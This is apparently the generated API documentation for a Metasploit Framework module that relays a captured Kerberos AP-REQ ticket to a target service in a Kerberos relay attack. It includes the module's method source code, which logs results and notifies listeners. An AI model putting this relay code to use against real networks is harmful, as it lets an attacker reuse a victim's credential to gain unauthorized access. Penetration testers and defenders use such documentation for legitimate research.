Module: Msf::Exploit::Remote::Relay::Kerberos::RelayHandler

Included in:
SMB::Relay::Kerberos::ServerClient
Defined in:
lib/msf/core/exploit/remote/relay/kerberos/relay_handler.rb

Overview

Orchestrates relaying a captured client GSS token to a target for a Kerberos relay (CVE-2026-20929). Protocol-agnostic: an SMB or HTTP relay server client includes this and supplies the incoming security blob; the RubySMB/HTTP plumbing lives in the including class.

This is the Kerberos counterpart to the NTLM server client’s relay_ntlmssp, but the flow is one-shot. A captured AP-REQ is a complete credential, so there is no challenge/response and no per-identity target selection: the AP-REQ is cryptographically bound to the SPN the attacker coerced the victim to request, so it can only be relayed to the service matching that SPN.

The including class must provide a logger responding to print_status / print_good / print_warning.

Instance Method Summary collapse

Instance Method Details

#relay_kerberos(ap_req, client:, target:, relay_targets: nil, listener: nil, identity: nil) ⇒ Msf::Exploit::Remote::Relay::Kerberos::Target::RelayResult?

Relay an already-extracted AP-REQ to a target.

This takes the AP-REQ rather than the raw GSS blob so the blob is parsed exactly once per authentication attempt. Deciding whether a blob is Kerberos at all, and falling through to NTLM when it is not, belongs to the caller: use Rex::Proto::Gss::KerberosToken.try_extract_ap_req, which yields the AP-REQ or nil in a single parse.

Parameters:

  • ap_req (String) —

    the captured AP-REQ as DER bytes

  • client (Target::HTTP::Client) —

    the connected relay target client

  • target (Object) —

    the relay target descriptor (for logging)

  • relay_targets (Object, nil) (defaults to: nil) —

    notified via on_relay_end, if given

  • listener (Object, nil) (defaults to: nil) —

    notified via on_relay_success / on_relay_failure

  • identity (String, nil) (defaults to: nil) —

    the client principal, if already known

Returns:



40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
 
# File 'lib/msf/core/exploit/remote/relay/kerberos/relay_handler.rb', line 40

def relay_kerberos(ap_req, client:, target:, relay_targets: nil, listener: nil, identity: nil)
  return nil if ap_req.nil?

  logger.print_status("Relaying Kerberos AP-REQ to #{target}")

  result = client.relay_ap_req(ap_req)
  is_success = !result.nil? && result.success == true
  relay_targets&.on_relay_end(target, identity: identity, is_success: is_success)

  if is_success
    logger.print_good("Successfully relayed Kerberos AP-REQ to #{target}")
    listener&.on_relay_success(relay_connection: client, relay_identity: identity)
  else
    logger.print_warning("Relay of Kerberos AP-REQ to #{target} failed")
    listener&.on_relay_failure(relay_connection: client)
    client.disconnect!
  end

  result
end